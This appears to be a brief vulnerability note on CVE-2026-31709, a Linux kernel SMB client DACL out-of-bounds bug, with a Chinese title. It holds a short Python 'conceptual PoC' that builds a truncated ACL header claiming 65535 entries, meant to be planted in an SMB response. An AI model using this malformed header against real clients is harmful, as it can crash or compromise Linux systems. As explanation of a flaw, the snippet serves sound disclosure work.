CVE-2026-31709 Linux内核SMB客户端DACL越界读写漏洞

# Conceptual PoC for CVE-2026-31709 # This snippet demonstrates crafting the malicious DACL structure. import struct def craft_malicious_dacl(): # SMB_ACL Header: Revision (2), Size (2), Num_ACEs (2), Sbz (2) revision = 2 acl_size = 8 # Total size is just the header (truncated) num_aces = 0xFFFF # Maliciously high number of ACEs claimed sbz = 0 # Pack header: <HHHH means 4 unsigned shorts (little-endian) dacl_header = struct.pack('<HHHH', revision, acl_size, num_aces, sbz) return dacl_header # This structure would be placed in the Security Descriptor of an SMB response # When the Linux client parses this, it expects 0xFFFF ACEs but only has 8 bytes. print(f"Malicious DACL: {craft_malicious_dacl().hex()}")